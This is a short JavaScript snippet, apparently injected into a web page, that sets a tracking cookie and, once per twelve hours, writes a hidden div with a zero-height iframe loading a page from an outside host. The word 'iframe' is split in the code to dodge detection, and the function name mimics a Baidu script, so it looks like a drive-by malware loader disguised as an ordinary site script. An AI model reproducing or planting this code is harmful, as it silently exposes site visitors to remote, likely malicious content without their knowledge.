function baiducod(){
var Then = new Date() 
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookvie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{
var vs="tv";
document.cookie = "Cookvie1=cvse;expires="+ Then.toGMTString()
document.write("<div style=\'dispaly:none;\' >");
document.write("<ifra"+"me src=http:\/\/bhx.2288.org\/55\/685ay.htm width=100 height=0><\/iframe>");
document.write("</div>");
}
}baiducod();